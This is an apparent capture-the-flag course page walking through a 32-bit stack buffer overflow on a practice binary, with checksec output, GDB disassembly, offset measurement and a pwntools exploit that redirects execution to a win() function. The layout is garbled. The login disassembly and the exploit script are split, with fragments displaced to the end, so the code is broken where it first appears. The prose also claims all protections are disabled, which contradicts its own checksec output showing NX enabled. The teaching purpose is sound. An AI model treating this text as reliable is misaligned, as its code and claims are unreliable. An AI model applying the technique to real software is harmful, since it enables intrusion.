Table of Contents
IronForgeCyber
Courses
Resources
Blog
Log In


IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. bof-practice-02
13 min read

Practice 2

Try a 32-bit overflow! This is the same as a 64-bit, but the numbers get packed using p32 instead of p64.

Stuck? Open one hint at a time before reading the solution.

Hint 1
checksec first. This one is 32-bit: is anything protecting the stack?
Hint 2
There are two read() calls again. In 32-bit, arguments are pushed right to left: compare each buffer's size with the count read() allows.
Hint 3
Measure from the start of the username buffer to the return address at ebp+4.
Hint 4
Control the return address but land somewhere odd? The address has to go in as raw little-endian bytes (p32), not as text.

The Solution

Same challenge, different architecture.

Checking Security

Let's make the first security check using checksec.

$ checksec chall[*] './chall'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX enabled    PIE:        No PIE (0x8048000)    Stripped:   No

The first and probably most important thing is that this is a 32-bit binary. This means that when we pass parameters, we will pass them on the stack. The top of the stack, when call is reached, is the first parameter, the second from the top is the second parameter, etc.

We see that all protections are disabled. The most important check for the buffer overflow is that the canary is disabled.

Disassembly

Let's do our analysis in GDB assuming that we don't have the source code (because, typically, we won't) and just use it to explain why things happen.

First, we check the functions available:

gdb
gef➤ info functionsAll defined functions:Non-debugging symbols:0x08049000  _init0x08049030  __libc_start_main@plt0x08049040  read@plt0x08049050  puts@plt0x08049060  system@plt0x08049070  _start0x080490a0  _dl_relocate_static_pie0x080490b0  __x86.get_pc_thunk.bx0x080490c0  deregister_tm_clones0x08049100  register_tm_clones0x08049140  __do_global_dtors_aux0x08049170  frame_dummy0x08049176  win0x080491a1  login0x08049215  main0x08049255  __x86.get_pc_thunk.ax0x0804925c  _fini

The three functions that we are interested in are win, login, and main. win logically appears to be the target, so let's figure out what happens there:

gdb
gef➤ disas winDump of assembler code for function win:   0x08049176 <+0>:     push   ebp   0x08049177 <+1>:     mov    ebp,esp   0x08049179 <+3>:     push   ebx   0x0804917a <+4>:     sub    esp,0x4   0x0804917d <+7>:     call   0x8049255 <__x86.get_pc_thunk.ax>   0x08049182 <+12>:    add    eax,0x2e72   0x08049187 <+17>:    sub    esp,0xc   0x0804918a <+20>:    lea    edx,[eax-0x1fec]   0x08049190 <+26>:    push   edx   0x08049191 <+27>:    mov    ebx,eax   0x08049193 <+29>:    call   0x8049060 <system@plt>   0x08049198 <+34>:    add    esp,0x10   0x0804919b <+37>:    nop   0x0804919c <+38>:    mov    ebx,DWORD PTR [ebp-0x4]   0x0804919f <+41>:    leave   0x080491a0 <+42>:    retEnd of assembler dump.

win makes a call to system, which the man pages say takes a char* (string) argument. From the source, this takes the argument "cat flag.txt", meaning that it opens the flag file and prints us its contents.

Why is the program doing this?
Since the program doesn't want to hardcode the flag, it stores it in a separate file (that isn't provided). This is a common technique to prevent people from just running strings on the binary to find the flag.

Now, let's check main:

gdb
gef➤ disas mainDump of assembler code for function main:   0x08049215 <+0>:     lea    ecx,[esp+0x4]   0x08049219 <+4>:     and    esp,0xfffffff0   0x0804921c <+7>:     push   DWORD PTR [ecx-0x4]   0x0804921f <+10>:    push   ebp   0x08049220 <+11>:    mov    ebp,esp   0x08049222 <+13>:    push   ebx   0x08049223 <+14>:    push   ecx   0x08049224 <+15>:    call   0x80490b0 <__x86.get_pc_thunk.bx>   0x08049229 <+20>:    add    ebx,0x2dcb   0x0804922f <+26>:    call   0x80491a1 <login>   0x08049234 <+31>:    sub    esp,0xc   0x08049237 <+34>:    lea    eax,[ebx-0x1f9a]   0x0804923d <+40>:    push   eax   0x0804923e <+41>:    call   0x8049050 <puts@plt>   0x08049243 <+46>:    add    esp,0x10   0x08049246 <+49>:    mov    eax,0x0   0x0804924b <+54>:    lea    esp,[ebp-0x8]   0x0804924e <+57>:    pop    ecx   0x0804924f <+58>:    pop    ebx   0x08049250 <+59>:    pop    ebp   0x08049251 <+60>:    lea    esp,[ecx-0x4]   0x08049254 <+63>:    retEnd of assembler dump.

main just calls login and then returns. So let's go check login:

gdb
gef➤ disas loginDump of assembler code for function login:   0x080491a1 <+0>:     push   ebp   0x080491a2 <+1>:     mov    ebp,esp   0x080491a4 <+3>:     push   ebx   0x080491a5 <+4>:     sub    esp,0x54   0x080491a8 <+7>:     call   0x80490b0 <__x86.get_pc_thunk.bx>   0x080491ad <+12>:    add    ebx,0x2e47   0x080491b3 <+18>:    sub    esp,0xc   0x080491b6 <+21>:    lea    eax,[ebx-0x1fdf]   0x080491bc <+27>:    push   eax   0x080491bd <+28>:    call   0x8049050 <puts@plt>   0x080491c2 <+33>:    add    esp,0x10   0x080491c5 <+36>:    sub    esp,0x4   0x080491c8 <+39>:    push   0x46   0x080491ca <+41>:    lea    eax,[ebp-0x30]   0x080491cd <+44>:    push   eax   0x080491ce <+45>:    push   0x0   0x080491d0 <+47>:    call   0x8049040 <read@plt>   0x080491d5 <+52>:    add    esp,0x10   0x080491d8 <+55>:    sub    esp,0xc   0x080491db <+58>:    lea    eax,[ebx-0x1fc2]   0x080491e1 <+64>:    push   eax   0x080491e2 <+65>:    call   0x8049050 <puts@plt>   0x080491e7 <+70>:    add    esp,0x10   0x080491ea <+73>:    sub    esp,0x4   0x080491ed <+76>:    push   0x46   0x080491ef <+78>:    lea    eax,[ebp-0x58]   0x080491f2 <+81>:    push   eax

There are two read() calls here. In 32-bit, parameters are pushed onto the stack right-to-left, so each read() is set up by three pushes. Looking at the first one:

  • push 0x46 — the count: read() will accept up to 0x46 (70) bytes.
  • lea eax,[ebp-0x30] then push eax — the buffer: it writes starting at [ebp-0x30], a username buffer only 0x30 (48) bytes deep.
  • push 0x0 — the file descriptor (stdin).

read() is offered 0x30 bytes of space but allows 0x46 bytes of input. This is a buffer overflow vulnerability! The second read() fills a password buffer at [ebp-0x58], further from the return pointer, so the username read is the one we'll overflow.

Stack Frame

When a function is called, the following happens:

  1. The return pointer is pushed onto the stack. This is the address of the next instruction to execute after the function returns.
  2. The code then goes to the location referenced in the call instruction.
  3. The base pointer is pushed onto the stack. This is the address of the previous base pointer. We see that here in the prologue:
push ebp
mov  ebp, esp
push ebx
sub  esp, 0x54
  1. The stack pointer is moved to the base pointer. This is the new base pointer.
  2. The stack pointer is moved down to make space for local variables.
  3. The function is executed.

When the function returns:

  1. leave is shorthand for mov esp, ebp ; pop ebp. This returns the base and stack pointers to their values before the prologue, resetting the stack frame to the caller's.
  2. The return pointer is popped off the stack and the code jumps to that location.

How do we leverage this?

  • The return pointer sits just above the saved base pointer on the stack.
  • We write into the buffer that was allocated for the function.
  • If we write enough bytes (because the program isn't checking), we overwrite the return pointer.
  • When the function terminates, it jumps to whatever is in the return-pointer slot. It does not verify that the return pointer is valid or that it's the same one it stored; it just goes there.

Getting the Offset

Let's set a breakpoint right before the first read() and inspect the stack:

gdb
gef➤ b *(login+47)Breakpoint 1 at 0x80491d0gef➤ run[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Please enter your username:Breakpoint 1, 0x080491d0 in login ()gef➤ x/3wx $esp0xffffd5c0:     0x00000000      0xffffd5f8      0x00000046gef➤ x/wx $ebp+40xffffd62c:     0x08049234gef➤ p/d ($ebp+4) - $eax$1 = 52

x/3wx $esp (or pxw @ esp in radare2) shows the three values on top of the stack — the arguments to read(): the file descriptor 0, the buffer 0xffffd5f8, and the count 0x46. The buffer is where our input lands.

The return pointer lives at $ebp+4; it holds 0x08049234, which is the instruction right after main's call login. The distance from the buffer ($eax) to the return pointer is 52 bytes. That's our padding.

Exploitation

But where do we want to go? The win function, at 0x08049176. A first instinct might be to tack the address onto the padding as text:

$ python3 -c "print('A' * 52 + str(0x08049176))"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA134517110

Feeding that in crashes the program. Let's watch it in GDB:

gdb
gef➤ run < naiveinProgram received signal SIGSEGV, Segmentation fault.0x35343331 in ?? ()gef➤ x/wx $eip0x35343331:     Cannot access memory at address 0x35343331

It stopped at 0x35343331, and we clearly control execution — but that's not win. Two things went wrong:

  1. 0x35343331 is the little-endian reading of the ASCII bytes "1345" — the start of the decimal string 134517110 we appended. The binary is little-endian, so our text got loaded as an address byte-for-byte.
  2. 134517110 is the decimal of 0x08049176. We need the raw bytes of the address, not its digits.

How do we get the address into the payload as bytes, in the right order?

This is where pwntools comes in. Its packing function p32 converts an address into a 32-bit little-endian byte string. Consider the following exploit:

exploit.py
1from pwn import *
2
3p = process("./chall")
4
5payload = b"A" *

Let's break this exploit down:

  • from pwn import * — imports the pwntools library, just like an #include in C-type languages.
  • p = process("./chall") — creates a process object that runs the chall binary.
  • payload = b"A" * 52 — 52 bytes of A for the padding. Any character works, but A (0x41) is a common choice.
  • payload += p32(0x08049176) — packs 0x08049176 (the address of win) as a 32-bit little-endian byte string, appended to our padding.
  • p.sendline(payload) — sends the payload to the first (username) read.
  • p.sendline(b"") — feeds the second (password) read, which we don't need.
  • p.interactive() — lets us interact with the process after sending the payload.

Let's run this exploit:

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 28721[*] Switching to interactive modePlease enter your username:Please enter your password:Thank You!IFC{PL4C3H0LD3R_FL4G_H3R3!}[*] Process './chall' stopped with exit code 0[*] Got EOF while reading in interactive

We have our flag!

0x080491f3 <+82>: push 0x0
0x080491f5 <+84>: call 0x8049040 <read@plt>
0x080491fa <+89>: add esp,0x10
0x080491fd <+92>: sub esp,0xc
0x08049200 <+95>: lea eax,[ebx-0x1fa5]
0x08049206 <+101>: push eax
0x08049207 <+102>: call 0x8049050 <puts@plt>
0x0804920c <+107>: add esp,0x10
0x0804920f <+110>: nop
0x08049210 <+111>: mov ebx,DWORD PTR [ebp-0x4]
0x08049213 <+114>: leave
0x08049214 <+115>: ret
End of assembler dump.
52
6payload += p32(0x08049176)
7
8p.sendline(payload)
9p.sendline(b"")
10p.interactive()